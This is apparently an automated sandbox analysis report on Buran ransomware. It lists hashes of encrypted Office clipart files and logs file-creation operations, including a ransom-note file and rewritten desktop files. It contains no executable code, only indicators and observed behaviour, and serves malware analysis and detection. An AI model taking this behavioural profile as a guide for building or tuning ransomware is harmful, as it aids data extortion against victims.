SSDeep: 768:AnC2KLqmi5AfdzGi3bHCQc9yM2XvlomvoK+hlJZFAf5iUnZlh+LiakoAstICYF7T:1dNBQ0mhyXCKG62wNL/5 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00155_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 11.36 KB MD5: cd42411c780fbee9a182da468cacfd7d
SHA1: ec10c6ee28bf6ac9118dada9b988c325b938580a
SHA256: d93fcfb3ff53bffdcc22351fad95d4d9e7b11074ed1f8d79b83cc74842fb9fd9
SSDeep: 192:2xtAOP927mZ8OuHNRDgXjXIGInt6RVIMVM4tu6kYoF7DUuFN58G4xcnScxPsfDlf:2xtDM7mZ8BmrIGE6RVIMVM4tu6kYoF7s 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD00160_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 21.99 KB MD5: d73e5293af5cdc261f1ed60a0bbdbc7d
SHA1: d4430fdb810a917dc5e59a00274bf766b80e0be3
SHA256: 9aa10a7767b264ae1e9243db8130e018bdae1d919096cbe22d430c6ca9bfc189
SSDeep: 384:Is6r8M1mJk/dluq9s76GmW8BxdvzeDVoa5myWKYba38exzRui7c6JCuRKeSCz8Pu:I7r81Jk/2q9s9mW8Bxdvze5oaYyWKYbE 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06102_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 15.74 KB MD5: 45f08ad773790dec024123b71e6153a9
SHA1: 4502ca02be53f0b59eb1b5bd9963110dba8d297d
SHA256: 613f497fb0b3d8079071183ac80942ebbb0dbee4eaad3fbf4a0db92b2fa135fa
SSDeep: 384:i4anifAYOE4INNPGMrvnA6/vJ4md9LmsHpBtYviXRIdRpYVkLWqRCwKdxMqivf8f:i4auAYOE4INNPGMrvnA6/vJ4mbysHpBd 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD06200_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 16.29 KB MD5: fc8f4c8dea257aba885ecfdd76e7253e
SHA1: a63f3c37c2c3667431c87593bdd6fa27b5022bf3
SHA256: 9c8693aa92c5470d95bf5114d4740c9898b1d261c92809872b922e6c6ca02bda
SSDeep: 384:81vmFtzk0THj4Y3lC5GZ20wLi14cVVeixCUS0oWMD7oKSXWqOWMHgJBoq1Baqifp:8pm3Q0ff1C5GZ20wLi1HVVeixlS0oWML 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD07761_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.12 KB MD5: ffb35e0a38d3a22db194f3b055a6c001
SHA1: 1a1f39e3ca78359b3fa9652627626be31a8aeff8
SHA256: dcb08bdfb295454b506f022ab3cb36ec72df9e1caaa66e6bf6145c7b2dfd5b89
SSDeep: 768:6WFXaxMFxivMfSi3RGGKrVJ0EgKzaeM9jKqE9Bx8KF7bnbkYQwXtFYqvZTPs/2sZ:hFXMvCiGyAmygtw48Ox4 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08758_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 23.75 KB MD5: 3a8c52d21d97339be5905f00ed087ca3
SHA1: 376ec4f01f85be88e22e2b67e2e2c39bd88ac47e
SHA256: 29bffee6857972608033208c349cf575f6dddd0544c84bca59247bf98f123751
SSDeep: 384:GmB5ln37wvmxuD1ZBwpbg91/sPJ3OdKi7VjDWs+JHByL0SgYJzQmrmH985rbAR6Y:GmBHn3UOxUjaEFsPdOdB7dDB0r8zQMax 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08773_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 24.20 KB MD5: f38cb32b56d41a35535c120e46e81f19
SHA1: ee8ffedf44349856bce3d760f1294ae83bd12ea8
SHA256: 960cc07f35ab745818a404f13191389a3f43a210f7adfb117ac256692d723172
SSDeep: 384:yyf+LkSDlfTCbv7A8varAuKXNfVcIzF8M2iBJ3UBx359EgBSBUmEnAw07SSs8m:yc+HpqE8veAuStzaMvJEBxp9RSB2n46 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD08808_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 46.87 KB MD5: 6a1751879a10e01a57faf90b0e2deb11
SHA1: dff7279a1448376c21e251dd9edd280ee9efebad
SHA256: c27f78dd557548cd62d4810afef68a64cd4759b84fb0c6eeb30b8f2805b8cb7b
SSDeep: 768:Kqo4MS13fndvHfA0vRHxgOeM98GMg0PCXzo1MhD7XuxD0w2a:dbrRz6so1MhD7exD0w2a 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD09664_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 7.78 KB MD5: 085e9a0d621b2a9114e11ca7f7ba7d46
SHA1: 95c088ab0759414a50b9d805055b13f37d9ff88e
SHA256: f1ba747428d5aa69e54b75b9985db636e440efd1733e8aa16526f1f37f2fb587
SSDeep: 192:iiph805wfAH4nf3CJlT4WHr3BSFOEzWvkpOkJWHfSNx31GzEJ6YUoy1kTQirr6iJ:i08Rg4nKAWH1oykpOk3x31Go4YZy1kMW 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10890_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 13.20 KB MD5: a774d8a65fadfbc0b683002b0c13b6cd
SHA1: 5577eb6498c49e82329efbd8b5e235c6c09a8bfa
SHA256: 0ab9172ce5baa34b07a2f8fe18af4b56f12df5e5f702da8d7ee166bd1e66116d
SSDeep: 384:LSZCWR+JO6ePsWR/8JBBpxtaMwisArcgw:Lgv36ePsWRkdpxta5isccv 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD10972_.GIF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 19.72 KB MD5: df6b2f1be0e9dd21ff7cb42f2639971d
SHA1: 9e00b4a5c6ae90844e9228e84fe8c032ddfd674a
SHA256: dede6b3a4dca308660798cdf5f17f3d0db8fb9a555a7541b6195893f40e9aff8
SSDeep: 384:lSIX013bX99oje/jtXiM7t3acqk3tTHB2uuj9yhyqCVtK:ltXYgQtXiMB3xqkdTH29KGvK 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19827_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.48 KB MD5: 2b47156c17773cc132d9b3bbbce0c4e1
SHA1: 079fa051d90d53930fb3c7386b1f7b15774dcd4b
SHA256: f8efdd42666356deaab8d00d7fcf57b01a5efe1ee028f13f01cefec9b6204b2a
SSDeep: 192:HOquE9PxA/YD43GYCoSTmBgSyapCY1l5kYzoCQ1JMhkptm56g/:HtnPxNzoSPVMCYRnzQPMuG56g/ 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BD19988_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 17.88 KB MD5: bca899532ce58632c12fc1d60f835395
SHA1: 24b58e7b9f93443049069e8b7e4554446f2e735e
SHA256: b3fc4c6ab96f88f4216532e891c33f9140285e8d28a6903a26313031e0b7a32a
SSDeep: 384:pdgr5nrHzn6Lhe9cr3OZqPVwfy3ErSHDsVunkrzVDM9x+iWXjP2v:pirTMzVqEE2A8nk3VI9x+vXjG 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00012_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 9.59 KB MD5: aeb0b32638239613dd1347d6bc9cf6a3
SHA1: 1bb0773274a4ecfabcea1d164256ccb6c262b67f
SHA256: 7f8144784b4466723357dfd7295acc5f27d1df59683939f04606d62467d95e38
SSDeep: 192:/Q7fS2NZqFDqsV1gFkoa8miLtheZTJ9G15PP2AG5f:orSs+DXqmotwZTJK52xf 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00105_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 881 bytes MD5: 9365ec0d3462e2e46ae3fb414f904a50
SHA1: 41b7947e80af0ffaafc6ae6b3e6064ddf21f689d
SHA256: 21e262fc9dc46986ab07e80800a56cc2405b684e8158ea04c88fb272ed792b01
SSDeep: 24:t/zjlcnrA3HiyAHhN/GAW6Q5250+Sp24f+v/8Aal:1zj20Z0N/GAhQ450+4f+vUAu 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00148_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.66 KB MD5: 4ce0827a7f45a45c08b2a0fd60b25647
SHA1: db7df5cde4330ff6dc95e9cad33f5f05b6e69f18
SHA256: f12de134086e807930175a19566680778928208f779d7907d3c208ad40577e0d
SSDeep: 24:t/0fbE9A3Hih+KhZmhC8U/NdhCNN1w27+9hCTUhCvbjSxGIoK7Qh5YLx4VQuHlsx:1020lJSd2190NmbjSxGucvBQuSrio 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00252_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 4.60 KB MD5: d532df7640dd7181640215eba285627c
SHA1: fa36d3604e8a1d9278be52f9b0368c0d62976ecc
SHA256: 83b1578c11a75a713b90b174d2fffe73ec418758ecfa4158a3e76968880ba7ed
SSDeep: 96:cezmWx9OOhxF6gIngLo/vdMC3fxBtqzQuKyV2DW4MqRLJKLM9YdbMloL3m2sggfh:xyWx9OOu9ngLo/vdJ3fNqNK+WbMq5JKc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00254_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 1.70 KB MD5: 729d8f5acdf1ccd33deb07f21bf348c1
SHA1: 047e7008a2aa5ba25d0086e38268e716b1ae2048
SHA256: 360f4fa39d2c8671085cdfb1b85d07c953dfc51d41fa392023f5511f92a63f08
SSDeep: 48:8WOK4//yiLpSLphPLpGILpSbLplLLpDXLpaLpOLp4Lp2vLp7LpnbYik4FLpoBCIk:xO1R6zlSRnRyuACxnUxgoBZba7 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00261_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.19 KB MD5: 7409e687a32d7f7e47b2ea6afea25a04
SHA1: a9cf10d31f5113b721e820aa4c033cbe8e512924
SHA256: faaad4ff1fca3c764632d10669195c832d1cc4a46473b79473e4eccfb8247bed
SSDeep: 384:lVxXbY7jcr40iIpT5hyvzTHrspmk7JzlkHfxabRu0wy2abpJD0/6MtetQtht6tI/:RXbY7jcr4rIpT5hyvzTHrspmAJzlkH5j 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00262_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.50 KB MD5: 383ad56c8dbab5809905ad1720abeffa
SHA1: 31cdbf690a8a1312aeaaa7b34a4e93d3a5a67d62
SHA256: 980c108663f43af9f9ff63c40daf60712a48812c888b26d37b416403e116f579
SSDeep: 48:ngK4/Ntzm/BKCuWQLpjLpSLpYbLpXLpVsLk6pml7LkDLkb3iO6ELkOLk+LkJLkga:ng1jm/BYJ6O1H6pmlskTOfvuVxUj3b2r 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00270_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 2.95 KB MD5: a8c3362326c99319d9147397ec210489
SHA1: d63a9f5d933c5c9db290d6303fb15ce2863a7522
SHA256: afa4fb26f70b1cbf7ad5a659cca276665e7fa7d628786253427f326a6f8b71ab
SSDeep: 48:dfsK4/ogM1KO6LkuD3Lkm4LkmHPJJLkms9RLp+LpFY/LpyLkXWGWFjLpzV7s83L1:dk1QZuD4mdmHPomo+FYtjVWjzts9HwKc 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00273_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 3.69 KB MD5: 86f997e7ff367f058e20d748177a3821
SHA1: c85796977bc3fa9cb8ae4cc63f9678513e9dac95
SHA256: 089590936f2c8831c3b28c0280214ce750923935e4b83af547a9f5786b1926cf
SSDeep: 96:Mc1xisUkXwOI8hDu+CuajXdoT2r0BgmETmPYHJ+jiEjZSq6ztD7UuEPN:jxEkd5hy+Cuardq2AamECgp+j3ZSltPY 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00390_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 12.80 KB MD5: db1d167213760e3ef884f81fe4c02a6f
SHA1: db998f5d43758ec1b6a33682f1bf363ccbf12d07
SHA256: 52e338168126c6b99389055a5feab82f810aca49fc272ec60ca7113c8ed08d77
SSDeep: 384:p46DNwCGydn1PxZ2XM4F7brmcR8EE8dQ2KxdliiCBUMrz9+0on+37ab:p46hWF7fDvzdQ2KTli1uMrz9+Bnyab 		False
...
C:\Program Files\Microsoft Office\CLIPART\PUB60COR\BL00392_.WMF.-124967DE-E03F-B19B-7B3E-F7624B9CAA4D 26.42 KB MD5: dadbb12d0001b6b7169e82e300325878
SHA1: bf2d28f27efabce5ef312b7a32f4ddeb114506d4
SHA256: 45dbb934f90dbd6ebf7d94d1678313fa9876c76c0191242dd27a5c8080c988cc
SSDeep: 768:5AJOtPOUw9avIjUmbehqK5hS+D521KwxusNmj//:COtPOUqNUmZy/5+xuoU 		False
...
Host Behavior
File (6763)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5P5NRG~1\AppData\Local\Temp\0DC19D25.buran desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\-K80cFSCf.jpg desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\!!! YOUR FILES ARE ENCRYPTED !!!.TXT desired_access = GENERIC_WRITE, share_mode = FILE_SHARE_WRITE True 1
Fn
Create C:\bootmgr desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\1VmZjk26.avi desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\2yM2MmykL7t.swf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4gI2XKy3q7M.pdf desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\audiodepthconverter.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\bod_r.TTF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\directshowtap.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\DVDMaker.exe desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Eurosti.TTF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\fieldswitch.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\offset.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4Oh_BhRBEP.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\rtstreamsink.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\rtstreamsource.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\SecretST.TTF desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\soniccolorconverter.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\sonicsptransform.ax desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\en-US\DVDMaker.exe.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\4SiIb_crUM0-wdGU.mp3 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\en-US\OmdProject.dll.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\en-US\WMM2CLIP.dll.mui desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\Common.fxh desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DissolveAnother.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DissolveNoise.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\Filters.xml desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\6T4y.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\Parity.fx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_Buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\16to9Squareframe_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_Buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\92w8y-aVjro.mp4 desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\4to3Squareframe_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\BlackRectangle.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_glass.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_selectionsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circleround_videoinset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\circle_glass_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureA.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_SelectionSubpictureB.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Circle_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\cloud_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Dot.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\DvdTransform.fx desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\c3Rxt6TZ75AU_7ScuQe.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\heart_glass_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Heart_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CHEDPFTiQP67Llt2.mkv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\icCocQEeC.csv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\menu_style_default_Thumbnail.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationLeft_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationRight_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\NavigationUp_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\IRXNt_F.gif desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_buttongraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_selectionsubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\photoedge_videoinset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_ButtonGraphic.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_SelectionSubpicture.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\Postage_VideoInset.png desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_babypink_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_glass_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_highlights_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_performance_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\iujqFY_RKqyorga.flv desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL True 3
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_photo_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_plain_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_postage_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_scrapbook_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_specialocc_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_travel_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\rectangle_widescreen_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
Create C:\Program Files\DVD Maker\Shared\DvdStyles\scene_button_style_default_Thumbnail.bmp desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL False 2
Fn
